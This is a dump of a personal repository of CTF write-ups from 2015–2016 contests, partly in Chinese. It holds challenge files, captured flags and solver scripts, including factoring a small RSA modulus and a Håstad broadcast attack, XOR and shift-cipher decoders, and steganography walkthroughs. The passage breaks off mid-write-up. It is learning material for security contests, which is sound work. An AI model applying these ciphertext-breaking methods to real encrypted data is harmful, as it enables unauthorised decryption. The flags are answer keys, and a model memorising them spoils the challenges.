├── .gitignore ├── 2015-easyctf ├── XOR │ ├── message │ ├── xortool_out │ │ ├── 095.out │ │ ├── filename-key.csv │ │ └── filename-char_used-perc_printable.csv │ └── README.md ├── pixels │ ├── mystery1.png │ ├── mystery2.png │ ├── stegsolve.png │ ├── stegsolve_xor.png │ └── README.md ├── sayonara │ ├── sayonara.mp3 │ └── README.md ├── who-is-this-god │ ├── tulip.png │ ├── enhanced.png │ └── README.md ├── 49-shades-of-grey │ ├── shades.png │ └── README.md ├── hardwood-floor │ ├── hardwood.py │ ├── floors.txt │ └── README.md ├── all-zobs-fault │ ├── all_zobs_fault.txt │ └── README.md ├── cave-johnson │ ├── cave-johnson.txt │ └── README.md ├── hijacked │ └── README.md ├── sum-it │ └── README.md ├── can-you-even │ └── README.md ├── looking-for-letters │ └── README.md ├── sort-of-easy │ └── README.md ├── if-logic │ └── README.md ├── math-class │ └── README.md ├── oink-oink │ └── README.md └── string-change │ └── README.md ├── 2016-ais3-pre-exam ├── rev ├── remote1 ├── UNPACK_ME ├── rsa2048.tbz ├── caaaaalculate ├── misc3.py ├── web2.html ├── crypto2.html ├── crypto1 └── README.md ├── 2015-ekoparty ├── misc50 │ ├── misc50.zip │ ├── forensics.pcapng │ └── README.md ├── cry200 │ ├── crypto200.zip │ ├── shiftcrypt.py │ ├── decrypt.py │ └── README.md ├── misc100 │ ├── misc100.zip │ ├── pressit.txt │ └── README.md └── cry50 │ └── README.md ├── 2016-tw-edu-ctf ├── LLARGE │ ├── flag.png │ ├── flag.zip │ ├── flag.txt │ ├── decode │ └── README.md ├── RSA │ ├── rsa.json │ ├── rsa.py │ ├── flag.py │ └── README.md ├── mayday │ ├── mayday.py │ ├── crt_solver.py │ ├── flag.py │ ├── mayday.json │ └── README.md ├── share │ ├── share.py │ ├── flag.py │ ├── share.json │ └── README.md ├── README.md ├── LEA │ ├── README.md │ └── lea.rb └── CTR │ ├── CTR.rb │ └── README.md ├── README.md ├── 2015-tum-ctf-teaser └── neocities │ └── README.md ├── 2015-hack.lu └── creative_cheating │ └── README.md └── 2016-ais3-final └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | **/*~ 2 | -------------------------------------------------------------------------------- /2015-easyctf/XOR/message: -------------------------------------------------------------------------------- 1 | $6<&1#><*!$2",- $7!<*0),. !=*78 -------------------------------------------------------------------------------- /2015-easyctf/XOR/xortool_out/095.out: -------------------------------------------------------------------------------- 1 | easyctf{yo_dawg_i_heard_you_liked_xor} -------------------------------------------------------------------------------- /2016-ais3-pre-exam/rev: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-ais3-pre-exam/rev -------------------------------------------------------------------------------- /2016-ais3-pre-exam/remote1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-ais3-pre-exam/remote1 -------------------------------------------------------------------------------- /2016-ais3-pre-exam/UNPACK_ME: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-ais3-pre-exam/UNPACK_ME -------------------------------------------------------------------------------- /2015-ekoparty/misc50/misc50.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-ekoparty/misc50/misc50.zip -------------------------------------------------------------------------------- /2016-ais3-pre-exam/rsa2048.tbz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-ais3-pre-exam/rsa2048.tbz -------------------------------------------------------------------------------- /2016-tw-edu-ctf/LLARGE/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-tw-edu-ctf/LLARGE/flag.png -------------------------------------------------------------------------------- /2016-tw-edu-ctf/LLARGE/flag.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-tw-edu-ctf/LLARGE/flag.zip -------------------------------------------------------------------------------- /2015-easyctf/pixels/mystery1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/pixels/mystery1.png -------------------------------------------------------------------------------- /2015-easyctf/pixels/mystery2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/pixels/mystery2.png -------------------------------------------------------------------------------- /2015-easyctf/pixels/stegsolve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/pixels/stegsolve.png -------------------------------------------------------------------------------- /2015-easyctf/sayonara/sayonara.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/sayonara/sayonara.mp3 -------------------------------------------------------------------------------- /2015-ekoparty/cry200/crypto200.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-ekoparty/cry200/crypto200.zip -------------------------------------------------------------------------------- /2015-ekoparty/misc100/misc100.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-ekoparty/misc100/misc100.zip -------------------------------------------------------------------------------- /2016-ais3-pre-exam/caaaaalculate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2016-ais3-pre-exam/caaaaalculate -------------------------------------------------------------------------------- /2016-tw-edu-ctf/LLARGE/flag.txt: -------------------------------------------------------------------------------- 1 | Here's flag: CTF{The_binary_hide_in_QR_code!ZIP_IN_QR!It's_amazing!} 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /2015-easyctf/pixels/stegsolve_xor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/pixels/stegsolve_xor.png -------------------------------------------------------------------------------- /2015-easyctf/who-is-this-god/tulip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/who-is-this-god/tulip.png -------------------------------------------------------------------------------- /2015-ekoparty/misc50/forensics.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-ekoparty/misc50/forensics.pcapng -------------------------------------------------------------------------------- /2015-easyctf/49-shades-of-grey/shades.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/49-shades-of-grey/shades.png -------------------------------------------------------------------------------- /2015-easyctf/who-is-this-god/enhanced.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pcchou/ctf-writeups/HEAD/2015-easyctf/who-is-this-god/enhanced.png -------------------------------------------------------------------------------- /2015-easyctf/hardwood-floor/hardwood.py: -------------------------------------------------------------------------------- 1 | message = "" 2 | key = 3 3 | encrypted = ' '.join([str(ord(c)//key) for c in message]) 4 | print(encrypted) -------------------------------------------------------------------------------- /2015-easyctf/hardwood-floor/floors.txt: -------------------------------------------------------------------------------- 1 | 27 39 33 34 10 36 32 33 35 10 37 34 10 38 35 34 37 38 15 15 15 10 33 32 38 40 33 38 34 41 34 36 16 16 38 31 33 16 39 35 38 35 16 36 41 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-writeups 2 | 3 | 練習解題跟練習寫 write-ups 的地方(? 4 | 5 | 有時候會跟著一個[超廢的 CTF 隊伍](https://ctftime.org/team/19230)跟著打醬油Orz
6 | 7 | 因為朋友覺得很好玩想試看看,所以被拉去陪著打了幾場CTF,~~害我也覺得蠻好玩的~~,
8 | 所以把自己解開的題目一些解完我還搞得清楚在幹麻的(?)練習在這裡寫成 write-ups 看看。 9 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/RSA/rsa.json: -------------------------------------------------------------------------------- 1 | {"c": 56267348817991667025293700596381772772705100752049364933949564121901533557055297556368355657861, "e": 65537, "n": 69037356967092428811573699689752455282165460568629454083502861819413893435697699053715051257547} 2 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/RSA/rsa.py: -------------------------------------------------------------------------------- 1 | import json 2 | from sympy import randprime 3 | p = randprime(2 ** 157, 2 ** 158) 4 | q = randprime(2 ** 157, 2 ** 158) 5 | n = p * q 6 | e = 65537 7 | m = int(open('flag').read().strip().encode('hex'), 16) 8 | assert m < n 9 | c = pow(m, e, n) 10 | print json.dumps({'n': n, 'e': e, 'c': c}) 11 | -------------------------------------------------------------------------------- /2015-easyctf/all-zobs-fault/all_zobs_fault.txt: -------------------------------------------------------------------------------- 1 | ZSA9IDM0MDAzNTMzMzE2MDk1NjIzODMzNjA3NDMxODA3NTk0Njk2MTY5NTI3MDg5MDg4MDI2MzM3MTM5ODUxMDMyMTQ4NTcyODIyNTsgbSA9IDYxNDAxMDQ1OTgzODI1Mzk1MzU5NjQ5ODExNDk0MzA1NzY5Nzg0MjY3NTYzNzg4NzA2NjI2MTEwOTE2MzUxNDgwNTU4OTE2NzsgYyA9IDQxNjgwODQzMTIxMzA1NzgxMjgzOTgwNzIzNTA5OTkyOTQwMTE0NjAzNDY1NDYzMzg2MzM1OTExNjkzODM1MzYyMDk3NTQ1MQ0K -------------------------------------------------------------------------------- /2016-tw-edu-ctf/mayday/mayday.py: -------------------------------------------------------------------------------- 1 | import json 2 | from sympy import randprime 3 | 4 | e = 7 5 | m = int(open('flag').read().strip().encode('hex'), 16) 6 | 7 | for i in range(7): 8 | p = randprime(2 ** 256, 2 ** 257) 9 | q = randprime(2 ** 256, 2 ** 257) 10 | n = p * q 11 | assert m < n 12 | c = pow(m, e, n) 13 | print json.dumps({'n': n, 'e': e, 'c': c}) 14 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/share/share.py: -------------------------------------------------------------------------------- 1 | import json 2 | from sympy import randprime 3 | 4 | p = randprime(2 ** 512, 2 ** 513) 5 | q = randprime(2 ** 512, 2 ** 513) 6 | n = p * q 7 | 8 | e1 = randprime(2 ** 1000, 2 ** 1001) 9 | e2 = randprime(2 ** 1000, 2 ** 1001) 10 | 11 | m = int(open('flag').read().strip().encode('hex'), 16) 12 | assert m < n 13 | c1 = pow(m, e1, n) 14 | c2 = pow(m, e2, n) 15 | 16 | print json.dumps({'n': n, 'e1': e1, 'e2': e2, 'c1': c1, 'c2': c2}) 17 | 18 | -------------------------------------------------------------------------------- /2015-easyctf/cave-johnson/cave-johnson.txt: -------------------------------------------------------------------------------- 1 | pexxcrbqcurmvwqxqfarvcklmabqfkieggtmmnoqqfacwhvviipqrvbekqyqmnfosehrtsysxekaiipekswhmtqzhzcakbklmrqxooogkceziuxfvrgogseexlqmgrbgqbvcwudedvqvoselisnqsedeqqvwaepmbukrcfvrwwdqoumgqpvkqnftsksfvdisxednswcegkvwbadfvfkrxsiomebubdwafhyebaxfvfitjtlrinpxsrfakbxezeftsgfvooicoomxgftnnzvrziotavbgesexmrmohzjvvwvwaeduclgvpxlvqeeyopcpeiijwrkaiicjpgrjmtkmbuhuggrjmtkatfhugfjttemesisstozrnrayhlfakbxmvttqtcotyfrtxepubkvruhrrladptffzchklqs_ue_ogseviii_inp_is_koym_hfs_uuot -------------------------------------------------------------------------------- /2016-tw-edu-ctf/RSA/flag.py: -------------------------------------------------------------------------------- 1 | import gmpy, binascii 2 | c = 56267348817991667025293700596381772772705100752049364933949564121901533557055297556368355657861 3 | e = 65537 4 | n = 69037356967092428811573699689752455282165460568629454083502861819413893435697699053715051257547 5 | p = 244568058927274035851630625490731151685151358429 6 | q = 282282802054792109028071238910250727429434271943 7 | phin = (p-1)*(q-1) 8 | d = int(gmpy.invert(e, phin)) 9 | t = pow(c, d, n) 10 | print(binascii.unhexlify(hex(t)[2:])) 11 | -------------------------------------------------------------------------------- /2015-easyctf/pixels/README.md: -------------------------------------------------------------------------------- 1 | # Pixels (forensics 180) 2 | 3 | Descriptions: 4 | ``` 5 | Solved by 315 teams. 6 | mystery1 - mystery2 7 | 8 | Hint: Did you know you can do math on images? 9 | ``` 10 | 11 | We immediately know that it is probably image XOR, so I opened the file with `stegsolve.jar`: 12 | 13 | ![stegsolve](http://i.imgur.com/ZLQ3P0W.png) 14 | 15 | Combine the images: 16 | 17 | ![xor](http://i.imgur.com/ZLQ3P0W.png) 18 | 19 | Then the flag appeared. 20 | 21 | Flag: `easyctf{pretty_pixel_math}` 22 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/mayday/crt_solver.py: -------------------------------------------------------------------------------- 1 | from functools import reduce 2 | def chinese_remainder(n, a): 3 | sum = 0 4 | prod = reduce(lambda a, b: a*b, n) 5 | 6 | for n_i, a_i in zip(n, a): 7 | p = prod / n_i 8 | sum += a_i * mul_inv(p, n_i) * p 9 | return sum % prod 10 | 11 | 12 | def mul_inv(a, b): 13 | b0 = b 14 | x0, x1 = 0, 1 15 | if b == 1: return 1 16 | while a > 1: 17 | q = a / b 18 | a, b = b, a%b 19 | x0, x1 = x1 - q * x0, x0 20 | if x1 < 0: x1 += b0 21 | return x1 22 | -------------------------------------------------------------------------------- /2015-ekoparty/cry200/shiftcrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import sys 3 | import base64 4 | 5 | if len(sys.argv) != 2: 6 | print "Usage: %s data" % sys.argv[0] 7 | exit(0) 8 | 9 | data = sys.argv[1] 10 | padding = 4 - len(data) % 4 11 | if padding != 0: 12 | data = data + "\x00" * padding 13 | 14 | result = [] 15 | blocks = struct.unpack("I" * (len(data) / 4), data) 16 | for block in blocks: 17 | result += [block ^ block >> 16] 18 | 19 | output = '' 20 | for block in result: 21 | output += struct.pack("I", block) 22 | 23 | print base64.b64encode(output) -------------------------------------------------------------------------------- /2015-ekoparty/cry200/decrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import sys 3 | import base64 4 | 5 | #if len(sys.argv) != 2: 6 | # print "Usage: %s data" % sys.argv[0] 7 | # exit(0) 8 | 9 | data = base64.b64decode("CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=") 10 | padding = 4 - len(data) % 4 11 | if padding != 0: 12 | data = data + "\x00" * padding 13 | 14 | result = [] 15 | blocks = struct.unpack("I" * (len(data) / 4), data) 16 | for block in blocks: 17 | result += [block ^ block >> 16] 18 | 19 | output = '' 20 | for block in result: 21 | output += struct.pack("I", block) 22 | 23 | print output 24 | -------------------------------------------------------------------------------- /2015-easyctf/hijacked/README.md: -------------------------------------------------------------------------------- 1 | # Hijacked (Linux 100) 2 | 3 | Description: 4 | ``` 5 | Someone planted a file on our computer (the shell server), but we don't know what it is! The only clue that we have is that it's owned by a user called l33t_haxx0r. Can you figure out the flag? 6 | 7 | Hint: Try to look up useful Linux commands. 8 | ``` 9 | 10 | We'll need to find any files that's owned by `l33t_haxx0r`. 11 | 12 | ```shell 13 | $ find / -user l33t_haxx0r 2>/dev/null 14 | /var/www/html/index.html 15 | ``` 16 | 17 | Then just `less` the file, and at line 221 you can find the flag: 18 | 19 | ![flag!](http://i.imgur.com/P6MylmD.png) 20 | 21 | Flag: `easyctf{c0mp1et3ly_r3kt}` 22 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/mayday/flag.py: -------------------------------------------------------------------------------- 1 | from functools import reduce 2 | import gmpy 3 | import json, binascii 4 | def modinv(a, m): return int(gmpy.invert(gmpy.mpz(a), gmpy.mpz(m))) 5 | def chinese_remainder(n, a): 6 | sum = 0 7 | prod = reduce(lambda a, b: a*b, n) 8 | for n_i, a_i in zip(n, a): 9 | p = prod // n_i 10 | sum += a_i * modinv(p, n_i) * p 11 | return int(sum % prod) 12 | with open("mayday.json") as dfile: 13 | data = json.loads(dfile.read()) 14 | data = {k:[d.get(k) for d in data] for k in {k for d in data for k in d}} 15 | t_to_e = chinese_remainder(data['n'], data['c']) 16 | t = int(gmpy.mpz(t_to_e).root(7)[0]) 17 | print(binascii.unhexlify(hex(t)[2:])) 18 | -------------------------------------------------------------------------------- /2015-easyctf/sum-it/README.md: -------------------------------------------------------------------------------- 1 | # Sum it (programming 30) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. You'll be given a list of numbers. 6 | 7 | Input: A list of numbers, separated by commas. 8 | Output: The sum of the numbers. 9 | 10 | Read the input from a file called addition.in that's in the current working directory, and then write your output to a file called addition.out. 11 | ``` 12 | 13 | ```python 14 | with open("addition.in", "r") as f: 15 | list = [int(x) for x in f.read().split(",")] 16 | 17 | with open("addition.out", "w") as f: 18 | f.write(str(sum(list)) + "\n") 19 | ``` 20 | Flag: `easyctf{'twas_sum_EZ_programming,_am_I_rite?}` 21 | -------------------------------------------------------------------------------- /2015-easyctf/who-is-this-god/README.md: -------------------------------------------------------------------------------- 1 | # Who is this god? (Forensics 175) 2 | 3 | Description: 4 | ``` 5 | My friend Mich uses this nice tulip as her profile pic because she likes historical stuff. Did I mention that one of the EasyCTF developers worships her as a god? 6 | 7 | Hint: A tulip a day keeps the economy away :) 8 | 9 | P.S. Everything you need is in the image...although you might need sharper vision. 10 | ``` 11 | 12 | ![tulip.png](http://i.imgur.com/CNIsUKm.png) 13 | 14 | Studying with the image, I found out that there are something in the top left corner,
15 | and after some enhancements: 16 | 17 | ![enhanced](http://i.imgur.com/izqlEGu.png) 18 | 19 | Flag: `easyctf{all_hail_michy}` 20 | -------------------------------------------------------------------------------- /2015-easyctf/can-you-even/README.md: -------------------------------------------------------------------------------- 1 | # Can you even (programming 40) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. You'll be given a list of numbers. 6 | 7 | Input: A list of numbers, separated by commas. 8 | Output: The number of even numbers. 9 | 10 | Read the input from a file called can-you-even.in that's in the current working directory, and then write your output to a file called can-you-even.out. 11 | ``` 12 | 13 | 14 | ```python 15 | with open("can-you-even.in", "r") as f: 16 | inputs = [int(x) for x in f.read().split(',')] 17 | 18 | with open("can-you-even.out", "w") as f: 19 | f.write(str(len([x for x in inputs if x % 2 == 0])) + "\n") 20 | ``` 21 | 22 | Flag: `easyctf{?v=8ruJBKFrRCk}` 23 | -------------------------------------------------------------------------------- /2015-easyctf/looking-for-letters/README.md: -------------------------------------------------------------------------------- 1 | # Looking for letters (Programming 65) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. 6 | 7 | Input: A string containing alphanumeric characters. 8 | Output: A string containing only the letters of the input. 9 | 10 | Read the input from a file called looking-for-letters.in that's in the current working directory, and then write your output to a file called looking-for-letters.out. 11 | ``` 12 | 13 | ```python 14 | with open("looking-for-letters.in", "r") as f: 15 | str = f.read() 16 | 17 | with open("looking-for-letters.out", "w") as f: 18 | f.write(''.join([x for x in list(str) if x.isalpha()]) + "\n") 19 | ``` 20 | 21 | Flag: `easyctf{filtering_the_#s_out}` 22 | -------------------------------------------------------------------------------- /2015-easyctf/sayonara/README.md: -------------------------------------------------------------------------------- 1 | # Sayonara (Forensics 325) 2 | 3 | Description: 4 | ``` 5 | Found some interesting words of advice left by sayonara-bye... help me understand it! 6 | 7 | sayonara.mp3 MD5: 9f44501f0ac360c3255548c96b70aecb 8 | 9 | Hint: Why does that right channel sound strange? 10 | ``` 11 | 12 | The mp3 file is a 45 sec stereo audio. 13 | 14 | ![stereo](http://i.imgur.com/qPzh1NQ.png) 15 | 16 | The hint mentioned something about the right channel, then after some investigation, I checked its spectrogram. 17 | 18 | ![spectrogram](http://i.imgur.com/dzzSbf5.png) 19 | 20 | There must be something hiding in it. 21 | 22 | After some enhancement: 23 | 24 | ![flag](http://i.imgur.com/hvIkAOr.png) 25 | 26 | Then we can see the flag. 27 | 28 | Flag: `easyctf{do_a_frustration}` 29 | -------------------------------------------------------------------------------- /2015-ekoparty/misc100/pressit.txt: -------------------------------------------------------------------------------- 1 | 0x9c 2 | 0x36 0x14 0xb6 0x94 3 | 0x23 0x17 0xa3 0x1f 0x97 0x39 0x9f 0x17 0xb9 0x1f 0x97 0x9f 4 | 0x39 5 | 0xb9 0x17 6 | 0x97 0x14 0x94 7 | 0x36 8 | 0x34 0xb6 0x39 0xb4 0xb9 9 | 0x36 0x12 0x92 10 | 0x25 11 | 0xa5 12 | 0x18 13 | 0x98 0xb6 14 | 0xe0 0x38 0x28 15 | 0xe0 0xb8 0xa8 16 | 0x17 0x97 0x30 0xb0 0x32 0xb2 17 | 0x36 0x35 18 | 0xb5 0xb6 19 | 0x32 20 | 0x18 0xb2 0x98 21 | 0x20 0xa0 22 | 0x12 0x26 0x92 0xa6 23 | 0x36 0x35 0xb6 0xb5 24 | 0x32 0xb2 25 | 0xe0 0x38 26 | 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 27 | 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0xe0 0x38 0x2b 0xab 28 | 0xe0 0xb8 29 | 0x39 0xb9 30 | 0x39 0xb9 31 | 0x36 32 | 0x36 0xb6 33 | 0x1c 0x9c 34 | 0x1d -------------------------------------------------------------------------------- /2015-easyctf/sort-of-easy/README.md: -------------------------------------------------------------------------------- 1 | # Sorting-of Easy (programming 50) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. 6 | 7 | Input: A list of numbers, separated by commas. Ex: 3,28,9,17,5 8 | Output: The list sorted from largest to smallest, separated by commas. Ex: 28,17,9,5,3 9 | 10 | Read the input from a file called sorting-job.in that's in the current working directory, and then write your output to a file called sorting-job.out. 11 | ``` 12 | 13 | ```python 14 | with open("sorting-job.in", "r") as f: 15 | rx = f.read().split(",") 16 | 17 | output = [int(x) for x in rx] 18 | output.sort() 19 | output = [str(i) for i in sorted(output)[::-1]] 20 | 21 | with open("sorting-job.out", "w") as f: 22 | f.write(",".join(output) + "\n") 23 | ``` 24 | 25 | Flag: `easyctf{sorting_is_as_easy_as_3_2_1!}` 26 | -------------------------------------------------------------------------------- /2015-ekoparty/cry50/README.md: -------------------------------------------------------------------------------- 1 | # Crypto 50 - SCYTCRYPTO 2 | `````` 3 | Description: Decrypt this strange word: ERTKSOOTCMCHYRAFYLIPL 4 | 5 | As the ciphertext contains only capital letters, I think that it's probably some sort of classic ciphers. 6 | `````` 7 | 8 | However, after trying with caeser ciphers, atbash cipher, etc..., there is no success. 9 | 10 | Then I found out that by taking out every three letters, the first three items results to be "EKO", which matched the flag format. 11 | 12 | I tried EKO{MYFI} first, but it isn't the flag. 13 | 14 | It turned out to be 15 | 16 | ``` 17 | $ echo -n 'ERTKSOOTCMCHYRAFYLIPL' | fold -w3 18 | ERT 19 | KSO 20 | OTC 21 | MCH 22 | YRA 23 | FYL 24 | IPL% 25 | ``` 26 | 27 | Which is the flag that was arranged up to down, left to right: 28 | ekomyfirstcryptochall 29 | 30 | Flag: EKO{myfirstcryptochall} 31 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/README.md: -------------------------------------------------------------------------------- 1 | # TW.edu CTF 2015 (?) 2 | 3 | (我不懂為什麼是 2015 明明開始結束都是在 2016 年啊XD 應該是學年吧) 4 | 5 | 台大、台科大、中央三校資安實務期末考 PK 賽 (抖抖 6 | 7 | 這次跟隊友一起來亂入XDD 8 | 9 | * Team Name: Come to Try Fortune 10 | * Rank: 12 11 | * Score: 3610 12 | * Problem Solved: mini (reverse 50), **RSA (crypto 50) **, **CTR (crypto 100) **, **Alien (crypto 130) **, **mayday (crypto 150) **, **share (crypto 150) **, **LEA (crypto 200) **, WebBabyFirst-1 (5), WebBabyFirst-2 (10), WebBabyFirst-3 (10), WebBabyFirst-4 (10), Mission-1 (50), Mission-2 (75), Mission-3 (100), Overthewire (100), Bypasser (200), ShellMe (200), ST2 (200), **Login-as-admin-1-1 (50)**, Login-as-admin-1-2 (150), Login-as-admin-2-1 (150), Login-as-admin-2-2 (100), Login-as-admin-3-1 (125), Login-as-admin-3-2 (150), **Y (100) **, **Y-2 (150) **, Eve-1 (50), Eve-2 (100), What-is-that (25), **LARGE (50)**, **LLARGE (50) **, **Russian-Dolls (100)**, **zxcvb (120)**, Backup (150), **Fix (200)** 13 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/LLARGE/decode: -------------------------------------------------------------------------------- 1 | 40 0e d5 04 b0 30 41 40 00 20 00 80 01 d3 49 c4 2 | 79 b2 b5 7d f4 70 00 00 04 80 00 00 00 80 01 c0 3 | 06 66 c6 16 72 e7 47 87 45 55 40 90 00 31 96 78 4 | 05 61 96 78 05 67 57 80 b0 00 10 4f 50 10 00 00 5 | 41 40 00 00 0f 34 82 d4 a5 52 f5 64 8c b4 94 cb 6 | 75 27 00 e7 1a b0 ec 94 88 d4 fc ac c4 b2 ca a8 7 | cc fc 84 c4 98 dc fc c8 b0 f0 c8 a4 fc e4 f4 95 8 | 58 cf 20 c8 8f 7f 40 37 21 53 d4 bd 48 be 31 37 9 | 31 3a b3 2f 3d 21 56 bb 98 00 00 05 04 b0 10 21 10 | e0 31 40 00 20 00 80 01 d3 49 c4 79 b2 b5 7d f4 11 | 70 00 00 04 80 00 00 00 80 01 80 00 00 00 00 00 12 | 10 00 00 0a 48 10 00 00 00 06 66 c6 16 72 e7 47 13 | 87 45 55 40 50 00 31 96 78 05 67 57 80 b0 00 10 14 | 4f 50 10 00 00 41 40 00 00 05 04 b0 50 60 00 00 15 | 00 00 10 00 10 04 e0 00 00 08 90 00 00 00 00 00 16 | ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 17 | ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 18 | ec 11 19 | -------------------------------------------------------------------------------- /2015-easyctf/if-logic/README.md: -------------------------------------------------------------------------------- 1 | # If logic (programming 30) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. You'll be given a list of numbers. 6 | 7 | Input: A list of numbers, separated by commas. 8 | Output: Print hi if the number is 0-50 (inclusive), hey if the number is 51-100 (inclusive), and hello if anything else. Each greeting should have a linebreak after it. 9 | 10 | Read the input from a file called if-logic.in that's in the current working directory, and then write your output to a file called if-logic.out. 11 | ``` 12 | 13 | ```python 14 | with open("if-logic.in", "r") as f: 15 | inputs = [int(i) for i in f.read().split(",")] 16 | 17 | output = "" 18 | 19 | for i in inputs: 20 | if i <= 50: 21 | output += "hi\n" 22 | elif i <=100: 23 | output += "hey\n" 24 | else: 25 | output += "hello\n" 26 | 27 | with open("if-logic.out", "w") as f: 28 | f.write(output) 29 | ``` 30 | 31 | Flag: `easyctf{is_it_hi_or_hey_or_something_else}` 32 | -------------------------------------------------------------------------------- /2015-easyctf/XOR/README.md: -------------------------------------------------------------------------------- 1 | # XOR (crypto 150) 2 | 3 | Description: 4 | ``` 5 | This string has been encrypted using XOR! 6 | 7 | message = " $6<&1#><*\x1a!$2\x22\x1a,\x1a- $7!\x1a<*0\x1a),. !\x1a=*78" 8 | 9 | Hint: What could the key be? Here's a hint: it was encrypted 3 times. 10 | ``` 11 | 12 | According to the description, it's a XOR ciphered string.
13 | So let's bruteforce it with xortool.py. 14 | 15 | First, we'll need to save the bytes (length == 38) into a file. 16 | 17 | ```python 18 | with open("message", "wb") as f: 19 | f.write(b" $6<&1#><*\x1a!$2\x22\x1a,\x1a- $7!\x1a<*0\x1a),. !\x1a=*78") 20 | ``` 21 | 22 | ```shell 23 | $ xortool -b message 24 | $ cat xortool_out/*.out | xxd -c 38 25 | ``` 26 | 27 | We can find the flag at line 96, or in `095.out`. (a.k.a. message ^ "E") 28 | 29 | ```python 30 | >>> message = b" $6<&1#><*\x1a!$2\x22\x1a,\x1a- $7!\x1a<*0\x1a),. !\x1a=*78" 31 | >>> ''.join([chr(x) for x in [i^ord("E") for i in message]]) 32 | 'easyctf{yo_dawg_i_heard_you_liked_xor}' 33 | ``` 34 | 35 | Flag: `easyctf{yo_dawg_i_heard_you_liked_xor}` 36 | -------------------------------------------------------------------------------- /2015-easyctf/math-class/README.md: -------------------------------------------------------------------------------- 1 | # Math Class (Programming 50) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. You'll be given a math expression, such as add 1 2 or subtract 5 3, where you will perform the operations 1+2 and 5-3, respectively. 6 | 7 | ID: math-class 8 | Input: An expression in the form of operation operand1 operand2, separated by spaces. Read input from math-class.in. 9 | Output: The absolute value of the evaluated expression. Your output should always be a positive integer. 10 | 11 | There are only 2 different possible operations, addition and subtraction, and all operands will be integer values between 1 and 1000. As always, remember to end your program with a newline. 12 | ``` 13 | 14 | ```python 15 | with open("math-class.in", 'r') as f: 16 | rx = f.readlines() 17 | 18 | tx = "" 19 | 20 | for line in rx: 21 | ll = line.split(' ') 22 | if ll[0] == "add": 23 | tx = tx + str(int(ll[1]) + int(ll[2])) + "\n" 24 | elif ll[0] == "subtract": 25 | tx = tx + str(abs(int(ll[1]) - int(ll[2]))) + "\n" 26 | 27 | with open("math-class.out", "w") as f: 28 | f.write(tx) 29 | ``` 30 | 31 | Flag: `easyctf{have_y0u_had_enough_of_math_in_sk0ol_yet}` 32 | -------------------------------------------------------------------------------- /2015-ekoparty/misc50/README.md: -------------------------------------------------------------------------------- 1 | # Misc50 - Olive 2 | `````` 3 | Description: Recover the flag from this session 4 | 5 | Attachment: misc50.zip 6 | `````` 7 | 8 | The attachment contained a pcapng packet dump file, which can be opened using wireshark. 9 | 10 | At first glance, I saw there's some HTTP and QUIC requests to godaddy (some of them are OCSP) and http://beford.org/, and some scattered DNS or NetBIOS requests. 11 | 12 | 35 seconds after the capture session started, the user initiated a VNC connection to 192.168.0.22 (with no auth), then there are some random pointer event through VNC. 13 | 14 | ![pointer event](http://i.imgur.com/A4ybu7A.png) 15 | 16 | There's one interesting thing, after a few seconds of mouse clicking, then the user started to key in characters: 17 | 18 | ![key event](http://i.imgur.com/MTjkSh1.png) 19 | 20 | So we 